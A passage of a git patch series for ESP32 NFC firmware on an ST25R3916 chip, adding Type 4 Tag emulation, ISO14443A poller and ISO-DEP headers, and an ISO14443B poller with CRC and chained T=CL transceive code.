hb_spi_reg_write(REG_MASK_MAIN_INT, 0x00); + hb_spi_reg_write(REG_MASK_TIMER_NFC_INT, 0x00); + hb_spi_reg_write(REG_MASK_ERROR_WUP_INT, 0x00); + hb_spi_reg_write(REG_MASK_TARGET_INT, 0x00); + + ESP_LOGI(TAG, "T4T target configured"); + return HB_NFC_OK; +} + +hb_nfc_err_t t4t_emu_start(void) +{ + if (!s_init_done) return HB_NFC_ERR_INTERNAL; + + st25r_irq_read(); + + hb_spi_reg_write(REG_OP_CTRL, OP_CTRL_TARGET); + vTaskDelay(pdMS_TO_TICKS(5)); + + hb_spi_direct_cmd(CMD_GOTO_SLEEP); + vTaskDelay(pdMS_TO_TICKS(2)); + + s_state = T4T_STATE_SLEEP; + ESP_LOGI(TAG, "T4T emulation active - present a reader"); + return HB_NFC_OK; +} + +void t4t_emu_stop(void) +{ + hb_spi_reg_write(REG_OP_CTRL, 0x00); + s_state = T4T_STATE_SLEEP; + s_init_done = false; + ESP_LOGI(TAG, "T4T emulation stopped"); +} + +static void tx_with_crc(const uint8_t* data, int len) +{ + if (!data || len <= 0) return; + st25r_fifo_clear(); + st25r_set_tx_bytes((uint16_t)len, 0); + st25r_fifo_load(data, (size_t)len); + hb_spi_direct_cmd(CMD_TX_WITH_CRC); +} + +static void send_i_block_resp(const uint8_t* inf, int inf_len, uint8_t pcb_in) +{ + uint8_t resp[300]; + int pos = 0; + resp[pos++] = (uint8_t)(0x02U | (pcb_in & 0x01U)); + if (pcb_in & 0x08U) { /* CID present */ + resp[pos++] = s_pcd_cid; + } + if (inf_len > 0 && inf_len < (int)sizeof(resp) - 1) { + memcpy(&resp[pos], inf, (size_t)inf_len); + pos += inf_len; + } + tx_with_crc(resp, pos); + if (pos < (int)sizeof(s_last_resp)) { + memcpy(s_last_resp, resp, (size_t)pos); + s_last_resp_len = pos; + } +} + +static void send_r_ack(uint8_t pcb_in) +{ + uint8_t resp[2]; + int pos = 0; + resp[pos++] = (uint8_t)(0xA2U | (pcb_in & 0x01U)); + if (pcb_in & 0x08U) { + resp[pos++] = s_pcd_cid; + } + tx_with_crc(resp, pos); +} + +static void apdu_resp(uint8_t* out, int* out_len, + const uint8_t* data, int data_len, uint16_t sw) +{ + int pos = 0; + if (data && data_len > 0) { + memcpy(&out[pos], data, (size_t)data_len); + pos += data_len; + } + out[pos++] = (uint8_t)((sw >> 8) & 0xFF); + out[pos++] = (uint8_t)(sw & 0xFF); + *out_len = pos; +} + +static uint16_t file_len(t4t_file_t f) +{ + if (f == T4T_FILE_CC) return T4T_CC_LEN; + if (f == T4T_FILE_NDEF) { + uint16_t nlen = (uint16_t)((s_ndef_file[0] << 8) | s_ndef_file[1]); + if (nlen > T4T_NDEF_MAX) nlen = T4T_NDEF_MAX; + return (uint16_t)(nlen + 2); + } + return 0; +} + +static uint8_t* file_ptr(t4t_file_t f) +{ + if (f == T4T_FILE_CC) return s_cc; + if (f == T4T_FILE_NDEF) return s_ndef_file; + return NULL; +} + +static void handle_apdu(const uint8_t* apdu, int apdu_len, uint8_t pcb_in) +{ + uint8_t resp[260]; + int resp_len = 0; + + if (mf_desfire_emu_handle_apdu(apdu, apdu_len, resp, &resp_len)) { + send_i_block_resp(resp, resp_len, pcb_in); + return; + } + + if (apdu_len < 4) { + apdu_resp(resp, &resp_len, NULL, 0, 0x6700); + send_i_block_resp(resp, resp_len, pcb_in); + return; + } + + uint8_t cla = apdu[0]; + uint8_t ins = apdu[1]; + uint8_t p1 = apdu[2]; + uint8_t p2 = apdu[3]; + (void)cla; + + if (ins == 0xA4) { /* SELECT */ + if (apdu_len < 5) { apdu_resp(resp, &resp_len, NULL, 0, 0x6700); } + else { + uint8_t lc = apdu[4]; + if (apdu_len < 5 + lc) { + apdu_resp(resp, &resp_len, NULL, 0, 0x6700); + } else if (p1 == 0x04 && lc == 7 && + memcmp(&apdu[5], k_ndef_aid, 7) == 0) { + s_app_selected = true; + s_file = T4T_FILE_NONE; + apdu_resp(resp, &resp_len, NULL, 0, 0x9000); + } else if (p1 == 0x00 && lc == 2) { + uint16_t fid = (uint16_t)((apdu[5] << 8) | apdu[6]); + if (fid == T4T_CC_FID) { s_file = T4T_FILE_CC; apdu_resp(resp, &resp_len, NULL, 0, 0x9000); } + else if (fid == T4T_NDEF_FID) { s_file = T4T_FILE_NDEF; apdu_resp(resp, &resp_len, NULL, 0, 0x9000); } + else { apdu_resp(resp, &resp_len, NULL, 0, 0x6A82); } + } else { + apdu_resp(resp, &resp_len, NULL, 0, 0x6A82); + } + } + send_i_block_resp(resp, resp_len, pcb_in); + return; + } + + if (ins == 0xB0) { /* READ BINARY */ + if (apdu_len < 5) { apdu_resp(resp, &resp_len, NULL, 0, 0x6700); } + else if (s_file == T4T_FILE_NONE || !s_app_selected) { + apdu_resp(resp, &resp_len, NULL, 0, 0x6985); + } else { + uint16_t off = (uint16_t)((p1 << 8) | p2); + uint16_t flen = file_len(s_file); + uint8_t le = apdu[4]; + uint16_t max_le = (le == 0) ? 256 : le; + if (max_le > T4T_ML) { + apdu_resp(resp, &resp_len, NULL, 0, (uint16_t)(0x6C00 | (T4T_ML & 0xFF))); + send_i_block_resp(resp, resp_len, pcb_in); + return; + } + if (off >= flen) { + apdu_resp(resp, &resp_len, NULL, 0, 0x6B00); + } else { + uint16_t avail = (uint16_t)(flen - off); + uint16_t rd = (avail < max_le) ? avail : max_le; + uint8_t* fp = file_ptr(s_file); + apdu_resp(resp, &resp_len, &fp[off], rd, 0x9000); + } + } + send_i_block_resp(resp, resp_len, pcb_in); + return; + } + + if (ins == 0xD6) { /* UPDATE BINARY */ + if (apdu_len < 5) { apdu_resp(resp, &resp_len, NULL, 0, 0x6700); } + else if (s_file != T4T_FILE_NDEF || !s_app_selected) { + apdu_resp(resp, &resp_len, NULL, 0, 0x6985); + } else { + uint16_t off = (uint16_t)((p1 << 8) | p2); + uint8_t lc = apdu[4]; + if (apdu_len < 5 + lc) { + apdu_resp(resp, &resp_len, NULL, 0, 0x6700); + } else if (lc > T4T_ML) { + apdu_resp(resp, &resp_len, NULL, 0, 0x6700); + } else if (off + lc > (uint16_t)sizeof(s_ndef_file)) { + apdu_resp(resp, &resp_len, NULL, 0, 0x6B00); + } else { + memcpy(&s_ndef_file[off], &apdu[5], lc); + apdu_resp(resp, &resp_len, NULL, 0, 0x9000); + } + } + send_i_block_resp(resp, resp_len, pcb_in); + return; + } + + /* GET RESPONSE or others */ + apdu_resp(resp, &resp_len, NULL, 0, 0x6A86); + send_i_block_resp(resp, resp_len, pcb_in); +} + +void t4t_emu_run_step(void) +{ + uint8_t tgt_irq = 0; + uint8_t main_irq = 0; + uint8_t timer_irq = 0; + + hb_spi_reg_read(REG_TARGET_INT, &tgt_irq); + hb_spi_reg_read(REG_MAIN_INT, &main_irq); + hb_spi_reg_read(REG_TIMER_NFC_INT, &timer_irq); + + uint8_t pts = 0; + hb_spi_reg_read(REG_PASSIVE_TARGET_STS, &pts); + uint8_t pta_state = pts & 0x0F; + + if (s_state == T4T_STATE_SLEEP) { + if (pta_state == 0x01 || pta_state == 0x02 || pta_state == 0x03 || + (tgt_irq & IRQ_TGT_WU_A)) { + ESP_LOGI(TAG, "SLEEP -> SENSE (pta=%u tgt=0x%02X)", pta_state, tgt_irq); + s_sense_tick = xTaskGetTickCount(); + s_active_tick = s_sense_tick; + s_state = T4T_STATE_SENSE; + mf_desfire_emu_reset(); + hb_spi_direct_cmd(CMD_GOTO_SENSE); + hb_spi_reg_read(REG_TARGET_INT, &tgt_irq); + hb_spi_reg_read(REG_MAIN_INT, &main_irq); + hb_spi_reg_read(REG_TIMER_NFC_INT, &timer_irq); + } + return; + } + + if (s_state == T4T_STATE_SENSE) { + if (pta_state == 0x05 || pta_state == 0x0D || + (tgt_irq & IRQ_TGT_SDD_C)) { + ESP_LOGI(TAG, "SENSE -> ACTIVE (pta=%u tgt=0x%02X)", pta_state, tgt_irq); + s_state = T4T_STATE_ACTIVE; + s_active_tick = xTaskGetTickCount(); + } else { + TickType_t now = xTaskGetTickCount(); + if ((now - s_sense_tick) > pdMS_TO_TICKS(500)) { + ESP_LOGI(TAG, "SENSE: idle timeout -> SLEEP"); + s_state = T4T_STATE_SLEEP; + s_app_selected = false; + s_file = T4T_FILE_NONE; + s_chain_active = false; + s_chain_len = 0; + s_pcd_cid = 0; + mf_desfire_emu_reset(); + hb_spi_direct_cmd(CMD_GOTO_SLEEP); + return; + } + if (((now - s_sense_tick) % pdMS_TO_TICKS(200)) == 0U) { + uint8_t aux = 0; + hb_spi_reg_read(REG_AUX_DISPLAY, &aux); + ESP_LOGD(TAG, "[SENSE] AUX=0x%02X pta=%u", aux, pta_state); + } + return; + } + } + + if (!(main_irq & T4T_RX_IRQ)) goto idle_active; + + uint8_t buf[300] = { 0 }; + uint8_t fs1 = 0; + hb_spi_reg_read(REG_FIFO_STATUS1, &fs1); + int n = fs1 & 0x7F; + if (n <= 0) return; + if (n > (int)sizeof(buf)) n = (int)sizeof(buf); + hb_spi_fifo_read(buf, (uint8_t)n); + int len = n; + + if (len <= 0) return; + + /* RATS */ + if (buf[0] == 0xE0 && len >= 2) { + ESP_LOGI(TAG, "RATS"); + tx_with_crc(k_ats, sizeof(k_ats)); + return; + } + + /* PPS (0xD0 | CID) */ + if ((buf[0] & 0xF0U) == 0xD0U) { + ESP_LOGI(TAG, "PPS"); + uint8_t resp = buf[0]; + tx_with_crc(&resp, 1); + return; + } + + uint8_t pcb = buf[0]; + if ((pcb & 0xC0U) == 0x80U) { + /* R-block: retransmit last response */ + if (s_last_resp_len > 0) { + tx_with_crc(s_last_resp, s_last_resp_len); + } + return; + } + + if ((pcb & 0xC0U) != 0x00U) { + return; + } + + /* I-block with optional chaining */ + bool chaining = (pcb & 0x10U) != 0U; + int idx = 1; + if (pcb & 0x08U) { /* CID present */ + s_pcd_cid = buf[idx]; + idx++; + } + if (pcb & 0x04U) { /* NAD present */ + idx++; + } + if (idx > len) return; + const uint8_t* inf = &buf[idx]; + int inf_len = len - idx; + + if (chaining) { + if (!s_chain_active) { + s_chain_active = true; + s_chain_len = 0; + } + if (s_chain_len + (size_t)inf_len < sizeof(s_chain_buf)) { + memcpy(&s_chain_buf[s_chain_len], inf, (size_t)inf_len); + s_chain_len += (size_t)inf_len; + } + send_r_ack(pcb); + return; + } + + if (s_chain_active) { + if (s_chain_len + (size_t)inf_len < sizeof(s_chain_buf)) { + memcpy(&s_chain_buf[s_chain_len], inf, (size_t)inf_len); + s_chain_len += (size_t)inf_len; + } + ESP_LOGI(TAG, "APDU (chained) len=%u", (unsigned)s_chain_len); + handle_apdu(s_chain_buf, (int)s_chain_len, pcb); + s_chain_active = false; + s_chain_len = 0; + return; + } + + ESP_LOGI(TAG, "APDU len=%d", inf_len); + handle_apdu(inf, inf_len, pcb); + s_active_tick = xTaskGetTickCount(); + return; + +idle_active: + { + TickType_t now = xTaskGetTickCount(); + if ((now - s_active_tick) > pdMS_TO_TICKS(2000)) { + ESP_LOGI(TAG, "ACTIVE: idle timeout -> SLEEP"); + s_state = T4T_STATE_SLEEP; + s_app_selected = false; + s_file = T4T_FILE_NONE; + s_chain_active = false; + s_chain_len = 0; + s_pcd_cid = 0; + mf_desfire_emu_reset(); + hb_spi_direct_cmd(CMD_GOTO_SLEEP); + } else if (((now - s_active_tick) % pdMS_TO_TICKS(500)) == 0U) { + uint8_t aux = 0; + hb_spi_reg_read(REG_AUX_DISPLAY, &aux); + ESP_LOGD(TAG, "[ACTIVE] AUX=0x%02X pta=%u", aux, pta_state); + } + } +} From 2e86e211fc9900b231be0dda54c8db6194d14218 Mon Sep 17 00:00:00 2001 From: luis_thiago <95657866+lthiagovs@users.noreply.github.com> Date: Thu, 19 Mar 2026 00:10:30 -0300 Subject: [PATCH 30/61] feat(nfc): add poller and ISO-DEP headers --- .../nfc/protocols/iso14443a/include/iso_dep.h | 35 +++++++++ .../protocols/iso14443a/include/nfc_poller.h | 53 ++++++++++++++ .../nfc/protocols/iso14443a/include/poller.h | 71 +++++++++++++++++++ 3 files changed, 159 insertions(+) create mode 100644 firmware_p4/components/Applications/nfc/protocols/iso14443a/include/iso_dep.h create mode 100644 firmware_p4/components/Applications/nfc/protocols/iso14443a/include/nfc_poller.h create mode 100644 firmware_p4/components/Applications/nfc/protocols/iso14443a/include/poller.h diff --git a/firmware_p4/components/Applications/nfc/protocols/iso14443a/include/iso_dep.h b/firmware_p4/components/Applications/nfc/protocols/iso14443a/include/iso_dep.h new file mode 100644 index 00000000..ffb1f138 --- /dev/null +++ b/firmware_p4/components/Applications/nfc/protocols/iso14443a/include/iso_dep.h @@ -0,0 +1,35 @@ +/** + * @file iso_dep.h + * @brief ISO-DEP (ISO14443-4) RATS, I-Block, chaining (Phase 6). + */ +#ifndef ISO_DEP_H +#define ISO_DEP_H + +#include +#include +#include "highboy_nfc_error.h" +#include "highboy_nfc_types.h" + +/** Send RATS and receive ATS (fills dep->ats, dep->fsc, dep->fwi). */ +hb_nfc_err_t iso_dep_rats(uint8_t fsdi, uint8_t cid, nfc_iso_dep_data_t* dep); + +/** Optional PPS (best-effort, keeps 106 kbps when dsi/dri = 0). */ +hb_nfc_err_t iso_dep_pps(uint8_t cid, uint8_t dsi, uint8_t dri); + +/** Exchange ISO-DEP I-Blocks with basic chaining and WTX handling. */ +int iso_dep_transceive(const nfc_iso_dep_data_t* dep, + const uint8_t* tx, + size_t tx_len, + uint8_t* rx, + size_t rx_max, + int timeout_ms); + +/** APDU transceive convenience wrapper (same as iso_dep_transceive). */ +int iso_dep_apdu_transceive(const nfc_iso_dep_data_t* dep, + const uint8_t* apdu, + size_t apdu_len, + uint8_t* rx, + size_t rx_max, + int timeout_ms); + +#endif diff --git a/firmware_p4/components/Applications/nfc/protocols/iso14443a/include/nfc_poller.h b/firmware_p4/components/Applications/nfc/protocols/iso14443a/include/nfc_poller.h new file mode 100644 index 00000000..370cbe3e --- /dev/null +++ b/firmware_p4/components/Applications/nfc/protocols/iso14443a/include/nfc_poller.h @@ -0,0 +1,53 @@ +/** + * @file nfc_poller.h + * @brief NFC Poller field control + transceive engine. + * + * The transceive function is the direct refactor of the working code's + * st25r_transceive(). It handles: clear FIFO set bytes load FIFO + * send cmd wait TXE wait RX FIFO read result. + */ +#ifndef NFC_POLLER_H +#define NFC_POLLER_H + +#include +#include +#include +#include "highboy_nfc_error.h" + +/** Initialize poller: set NFC-A mode + field on. */ +hb_nfc_err_t nfc_poller_start(void); + +/** Stop poller: field off. */ +void nfc_poller_stop(void); + +/** + * Transceive direct refactor of working code st25r_transceive(): + * + * 1. CMD_CLEAR_FIFO + * 2. st25r_set_tx_bytes(tx_len, 0) + * 3. st25r_fifo_load(tx, tx_len) + * 4. CMD_TX_WITH_CRC or CMD_TX_WO_CRC + * 5. Poll MAIN_INT for TXE (50us 400 = 20ms) + * 6. Wait for rx_min bytes in FIFO + * 7. Read FIFO + * + * @param tx Data to transmit. + * @param tx_len TX length in bytes. + * @param with_crc true = CMD_TX_WITH_CRC, false = CMD_TX_WO_CRC. + * @param rx Buffer for received data. + * @param rx_max Max RX buffer size. + * @param rx_min Minimum expected RX bytes (0 = don't wait). + * @param timeout_ms RX FIFO wait timeout. + * @return Number of bytes received, 0 on failure. + */ +int nfc_poller_transceive(const uint8_t* tx, size_t tx_len, bool with_crc, + uint8_t* rx, size_t rx_max, size_t rx_min, + int timeout_ms); + +/** Configure guard time and FDT validation (best-effort). */ +void nfc_poller_set_timing(uint32_t guard_time_us, uint32_t fdt_min_us, bool validate_fdt); + +/** Get last measured FDT in microseconds. */ +uint32_t nfc_poller_get_last_fdt_us(void); + +#endif diff --git a/firmware_p4/components/Applications/nfc/protocols/iso14443a/include/poller.h b/firmware_p4/components/Applications/nfc/protocols/iso14443a/include/poller.h new file mode 100644 index 00000000..e700d6b8 --- /dev/null +++ b/firmware_p4/components/Applications/nfc/protocols/iso14443a/include/poller.h @@ -0,0 +1,71 @@ +/** + * @file poller.h + * @brief ISO14443A Poller REQA/WUPA, anti-collision, SELECT. + * + * All functions are direct refactors of the working code. + */ +#ifndef ISO14443A_POLLER_H +#define ISO14443A_POLLER_H + +#include +#include +#include "highboy_nfc_types.h" +#include "highboy_nfc_error.h" + +/** + * Send REQA or WUPA and get ATQA. + * Tries REQA first; if no response, waits 5ms and sends WUPA. + * Exact logic from working code st25r_reqA_or_wupa(). + */ +hb_nfc_err_t iso14443a_poller_activate(uint8_t atqa[2]); + +/** + * Full card activation: REQA anti-collision SELECT (all cascade levels). + * Fills the nfc_iso14443a_data_t struct with UID, ATQA, SAK. + * Exact logic from working code's app_main() card selection sequence. + */ +hb_nfc_err_t iso14443a_poller_select(nfc_iso14443a_data_t* card); + +/** + * Re-select a card (WUPA anticoll select). + * From working code's reselect() macro. + */ +hb_nfc_err_t iso14443a_poller_reselect(nfc_iso14443a_data_t* card); + +/** + * Send HLTA (halt). The tag should enter HALT state. + */ +hb_nfc_err_t iso14443a_poller_halt(void); + +/** + * Discover multiple NFC-A tags by iterating REQA + select + HLTA. + * Returns number of cards found (up to max_cards). + */ +int iso14443a_poller_select_all(nfc_iso14443a_data_t* out, size_t max_cards); + +/** + * Send REQA only. Returns 2 on success (ATQA bytes). + */ +int iso14443a_poller_reqa(uint8_t atqa[2]); + +/** + * Send WUPA only. + */ +int iso14443a_poller_wupa(uint8_t atqa[2]); + +/** + * Anti-collision for one cascade level. + * @param sel SEL_CL1 (0x93), SEL_CL2 (0x95), or SEL_CL3 (0x97). + * @param uid_cl Output: 4 UID bytes + BCC (5 bytes total). + */ +int iso14443a_poller_anticoll(uint8_t sel, uint8_t uid_cl[5]); + +/** + * SELECT for one cascade level. + * @param sel SEL_CL1/CL2/CL3. + * @param uid_cl 5 bytes from anti-collision. + * @param sak Output: SAK byte. + */ +int iso14443a_poller_sel(uint8_t sel, const uint8_t uid_cl[5], uint8_t* sak); + +#endif From f4760bcead6e4b377c3bc5aa9aaaf484ac4797ae Mon Sep 17 00:00:00 2001 From: luis_thiago <95657866+lthiagovs@users.noreply.github.com> Date: Thu, 19 Mar 2026 00:11:12 -0300 Subject: [PATCH 31/61] feat(nfc): add ISO 14443-B protocol and card emulation --- .../protocols/iso14443b/include/iso14443b.h | 53 ++ .../iso14443b/include/iso14443b_emu.h | 32 + .../nfc/protocols/iso14443b/iso14443b.c | 583 +++++++++++++++++ .../nfc/protocols/iso14443b/iso14443b_emu.c | 596 ++++++++++++++++++ 4 files changed, 1264 insertions(+) create mode 100644 firmware_p4/components/Applications/nfc/protocols/iso14443b/include/iso14443b.h create mode 100644 firmware_p4/components/Applications/nfc/protocols/iso14443b/include/iso14443b_emu.h create mode 100644 firmware_p4/components/Applications/nfc/protocols/iso14443b/iso14443b.c create mode 100644 firmware_p4/components/Applications/nfc/protocols/iso14443b/iso14443b_emu.c diff --git a/firmware_p4/components/Applications/nfc/protocols/iso14443b/include/iso14443b.h b/firmware_p4/components/Applications/nfc/protocols/iso14443b/include/iso14443b.h new file mode 100644 index 00000000..3235f9f9 --- /dev/null +++ b/firmware_p4/components/Applications/nfc/protocols/iso14443b/include/iso14443b.h @@ -0,0 +1,53 @@ +/** + * @file iso14443b.h + * @brief ISO 14443B (NFC-B) poller basics for ST25R3916. + */ +#ifndef ISO14443B_H +#define ISO14443B_H + +#include +#include +#include "highboy_nfc_error.h" +#include "highboy_nfc_types.h" + +/** Configure the chip for NFC-B poller mode (106 kbps). */ +hb_nfc_err_t iso14443b_poller_init(void); + +/** Send REQB and parse ATQB (PUPI/AppData/ProtInfo). */ +hb_nfc_err_t iso14443b_reqb(uint8_t afi, uint8_t param, nfc_iso14443b_data_t* out); + +/** Send ATTRIB with basic/default parameters (best-effort). */ +hb_nfc_err_t iso14443b_attrib(const nfc_iso14443b_data_t* card, uint8_t fsdi, uint8_t cid); + +/** Convenience: REQB + ATTRIB. */ +hb_nfc_err_t iso14443b_select(nfc_iso14443b_data_t* out, uint8_t afi, uint8_t param); + +/** Best-effort T4T NDEF read over ISO14443B. */ +hb_nfc_err_t iso14443b_read_ndef(uint8_t afi, uint8_t param, + uint8_t* out, size_t out_max, size_t* out_len); + +/** ISO-DEP (T=CL) transceive for NFC-B. */ +int iso14443b_tcl_transceive(const nfc_iso14443b_data_t* card, + const uint8_t* tx, + size_t tx_len, + uint8_t* rx, + size_t rx_max, + int timeout_ms); + +typedef struct { + nfc_iso14443b_data_t card; + uint8_t slot; +} iso14443b_anticoll_entry_t; + +/** + * Best-effort anticollision using 1 or 16 slots. + * @param afi AFI byte (0x00 for all). + * @param slots 1 or 16 (other values are rounded). + * @param out Output array of cards. + * @param max_out Max entries. + * @return number of cards found. + */ +int iso14443b_anticoll(uint8_t afi, uint8_t slots, + iso14443b_anticoll_entry_t* out, size_t max_out); + +#endif /* ISO14443B_H */ diff --git a/firmware_p4/components/Applications/nfc/protocols/iso14443b/include/iso14443b_emu.h b/firmware_p4/components/Applications/nfc/protocols/iso14443b/include/iso14443b_emu.h new file mode 100644 index 00000000..fe9f1387 --- /dev/null +++ b/firmware_p4/components/Applications/nfc/protocols/iso14443b/include/iso14443b_emu.h @@ -0,0 +1,32 @@ +/** + * @file iso14443b_emu.h + * @brief ISO14443B (NFC-B) target emulation with basic ISO-DEP/T4T APDUs. + */ +#ifndef ISO14443B_EMU_H +#define ISO14443B_EMU_H + +#include +#include "highboy_nfc_error.h" + +typedef struct { + uint8_t pupi[4]; + uint8_t app_data[4]; + uint8_t prot_info[3]; +} iso14443b_emu_card_t; + +/** Initialize default ATQB + T4T NDEF. */ +hb_nfc_err_t iso14443b_emu_init_default(void); + +/** Configure ST25R3916 as NFC-B target (ISO14443-3B). */ +hb_nfc_err_t iso14443b_emu_configure_target(void); + +/** Start emulation (enter SLEEP). */ +hb_nfc_err_t iso14443b_emu_start(void); + +/** Stop emulation. */ +void iso14443b_emu_stop(void); + +/** Run one emulation step (call in tight loop). */ +void iso14443b_emu_run_step(void); + +#endif /* ISO14443B_EMU_H */ diff --git a/firmware_p4/components/Applications/nfc/protocols/iso14443b/iso14443b.c b/firmware_p4/components/Applications/nfc/protocols/iso14443b/iso14443b.c new file mode 100644 index 00000000..8c2973cb --- /dev/null +++ b/firmware_p4/components/Applications/nfc/protocols/iso14443b/iso14443b.c @@ -0,0 +1,583 @@ +/** + * @file iso14443b.c + * @brief ISO 14443B (NFC-B) poller basics for ST25R3916. + * + * Best-effort implementation: REQB/ATQB + ATTRIB with default params. + */ +#include "iso14443b.h" + +#include +#include "esp_log.h" + +#include "nfc_poller.h" +#include "nfc_common.h" +#include "t4t.h" +#include "st25r3916_core.h" +#include "st25r3916_reg.h" +#include "hb_nfc_spi.h" +#include "nfc_rf.h" + +#define TAG "iso14443b" + +#define ISO14443B_CMD_REQB 0x05U +#define ISO14443B_CMD_ATTRIB 0x1DU + +static bool pupi_equal(const nfc_iso14443b_data_t* a, const nfc_iso14443b_data_t* b) +{ + return (memcmp(a->pupi, b->pupi, sizeof(a->pupi)) == 0); +} + +static bool iso14443b_parse_atqb(const uint8_t* rx, int len, nfc_iso14443b_data_t* out) +{ + if (!rx || !out || len < 11) return false; + memcpy(out->pupi, &rx[0], 4); + memcpy(out->app_data, &rx[4], 4); + memcpy(out->prot_info, &rx[8], 3); + return true; +} + +/* ISO-DEP PCB helpers (same as 14443-4A). */ +#define ISO_DEP_PCB_I_BLOCK 0x02U +#define ISO_DEP_PCB_I_CHAIN 0x10U +#define ISO_DEP_PCB_R_ACK 0xA2U +#define ISO_DEP_PCB_S_WTX 0xF2U + +static uint16_t iso14443b_crc16(const uint8_t* data, size_t len) +{ + uint16_t crc = 0xFFFFU; + for (size_t i = 0; i < len; i++) { + crc ^= data[i]; + for (int b = 0; b < 8; b++) { + if (crc & 0x0001U) crc = (crc >> 1) ^ 0x8408U; + else crc >>= 1; + } + } + return (uint16_t)~crc; +} + +static bool iso14443b_check_crc(const uint8_t* data, size_t len) +{ + if (!data || len < 2) return false; + uint16_t calc = iso14443b_crc16(data, len - 2); + uint16_t rx = (uint16_t)data[len - 2] | ((uint16_t)data[len - 1] << 8); + return (calc == rx); +} + +static int iso14443b_strip_crc(uint8_t* buf, int len) +{ + if (len >= 3 && iso14443b_check_crc(buf, (size_t)len)) return len - 2; + return len; +} + +static size_t iso_dep_fsc_from_fsci(uint8_t fsci) +{ + static const uint16_t tbl[] = { 16, 24, 32, 40, 48, 64, 96, 128, 256 }; + if (fsci > 8) fsci = 8; + return tbl[fsci]; +} + +static int iso_dep_fwt_ms(uint8_t fwi) +{ + uint32_t us = 302U * (1U << (fwi & 0x0FU)); + int ms = (int)((us + 999U) / 1000U); + if (ms < 5) ms = 5; + return ms; +} + +static size_t iso14443b_fsc_from_atqb(const nfc_iso14443b_data_t* card) +{ + if (!card) return 32; + uint8_t fsci = (uint8_t)((card->prot_info[0] >> 4) & 0x0FU); + size_t fsc = iso_dep_fsc_from_fsci(fsci); + if (fsc > 255) fsc = 255; + return fsc ? fsc : 32; +} + +static uint8_t iso14443b_fwi_from_atqb(const nfc_iso14443b_data_t* card) +{ + if (!card) return 4; + uint8_t fwi = (uint8_t)((card->prot_info[1] >> 4) & 0x0FU); + if (fwi == 0) fwi = 4; + return fwi; +} + +static bool iso_dep_is_i_block(uint8_t pcb) { return (pcb & 0xC0U) == 0x00U; } +static bool iso_dep_is_r_block(uint8_t pcb) { return (pcb & 0xC0U) == 0x80U; } +static bool iso_dep_is_s_block(uint8_t pcb) { return (pcb & 0xC0U) == 0xC0U; } +static bool iso_dep_is_wtx(uint8_t pcb) { return iso_dep_is_s_block(pcb) && ((pcb & 0x0FU) == 0x02U); } + +int iso14443b_tcl_transceive(const nfc_iso14443b_data_t* card, + const uint8_t* tx, + size_t tx_len, + uint8_t* rx, + size_t rx_max, + int timeout_ms) +{ + if (!tx || !rx || tx_len == 0) return 0; + + size_t fsc = iso14443b_fsc_from_atqb(card); + size_t max_inf = (fsc > 1) ? (fsc - 1U) : tx_len; + int base_timeout = (timeout_ms > 0) ? timeout_ms + : iso_dep_fwt_ms(iso14443b_fwi_from_atqb(card)); + + uint8_t rbuf[260] = { 0 }; + int rlen = 0; + uint8_t block_num = 0; + + /* TX chaining (PCD -> PICC) */ + size_t off = 0; + while (off < tx_len) { + size_t chunk = tx_len - off; + bool chaining = chunk > max_inf; + if (chaining) chunk = max_inf; + + uint8_t frame[1 + 256]; + frame[0] = (uint8_t)(ISO_DEP_PCB_I_BLOCK | (block_num & 0x01U)); + if (chaining) frame[0] |= ISO_DEP_PCB_I_CHAIN; + memcpy(&frame[1], &tx[off], chunk); + + rlen = nfc_poller_transceive(frame, 1 + chunk, true, + rbuf, sizeof(rbuf), 1, base_timeout); + if (rlen <= 0) return 0; + rlen = iso14443b_strip_crc(rbuf, rlen); + + if (chaining) { + if (!iso_dep_is_r_block(rbuf[0])) { + ESP_LOGW(TAG, "Expected R-block, got 0x%02X", rbuf[0]); + return 0; + } + off += chunk; + block_num ^= 1U; + continue; + } + + off += chunk; + break; + } + + /* RX chaining + WTX handling (PICC -> PCD) */ + int out_len = 0; + while (1) { + uint8_t pcb = rbuf[0]; + + if (iso_dep_is_wtx(pcb)) { + uint8_t wtxm = (rlen >= 2) ? rbuf[1] : 0x01U; + uint8_t wtx_resp[2] = { ISO_DEP_PCB_S_WTX, wtxm }; + int tmo = base_timeout * (wtxm ? wtxm : 1U); + rlen = nfc_poller_transceive(wtx_resp, sizeof(wtx_resp), true, + rbuf, sizeof(rbuf), 1, tmo); + if (rlen <= 0) return 0; + rlen = iso14443b_strip_crc(rbuf, rlen); + continue; + } + + if (iso_dep_is_i_block(pcb)) { + bool chaining = (pcb & ISO_DEP_PCB_I_CHAIN) != 0U; + size_t inf_len = (rlen > 1) ? (size_t)(rlen - 1) : 0; + if ((size_t)out_len + inf_len > rx_max) { + inf_len = (rx_max > (size_t)out_len) ? (rx_max - (size_t)out_len) : 0; + } + if (inf_len > 0) memcpy(&rx[out_len], &rbuf[1], inf_len); + out_len += (int)inf_len; + + if (!chaining) return out_len; + + uint8_t rack[1] = { (uint8_t)(ISO_DEP_PCB_R_ACK | (pcb & 0x01U)) }; + rlen = nfc_poller_transceive(rack, sizeof(rack), true, + rbuf, sizeof(rbuf), 1, base_timeout); + if (rlen <= 0) return out_len ? out_len : 0; + rlen = iso14443b_strip_crc(rbuf, rlen); + continue; + } + + if (iso_dep_is_r_block(pcb)) { + ESP_LOGW(TAG, "Unexpected R-block 0x%02X", pcb); + return out_len; + } + + ESP_LOGW(TAG, "Unknown PCB 0x%02X", pcb); + return out_len; + } +} + +static int iso14443b_apdu_transceive(const nfc_iso14443b_data_t* card, + const uint8_t* apdu, + size_t apdu_len, + uint8_t* rx, + size_t rx_max, + int timeout_ms) +{ + if (!apdu || !rx || apdu_len == 0) return 0; + + uint8_t cmd_buf[300]; + if (apdu_len > sizeof(cmd_buf)) return 0; + memcpy(cmd_buf, apdu, apdu_len); + + int len = iso14443b_tcl_transceive(card, cmd_buf, apdu_len, rx, rx_max, timeout_ms); + if (len < 2) return len; + + uint8_t sw1 = rx[len - 2]; + uint8_t sw2 = rx[len - 1]; + + if (sw1 == 0x6CU && apdu_len >= 5) { + cmd_buf[apdu_len - 1] = sw2; + len = iso14443b_tcl_transceive(card, cmd_buf, apdu_len, rx, rx_max, timeout_ms); + return len; + } + + if (sw1 == 0x61U) { + size_t out_pos = (size_t)(len - 2); + uint8_t le = sw2 ? sw2 : 0x00; + + for (int i = 0; i < 8; i++) { + uint8_t get_resp[5] = { 0x00, 0xC0, 0x00, 0x00, le }; + uint8_t tmp[260] = { 0 }; + int rlen = iso14443b_tcl_transceive(card, get_resp, sizeof(get_resp), + tmp, sizeof(tmp), timeout_ms); + if 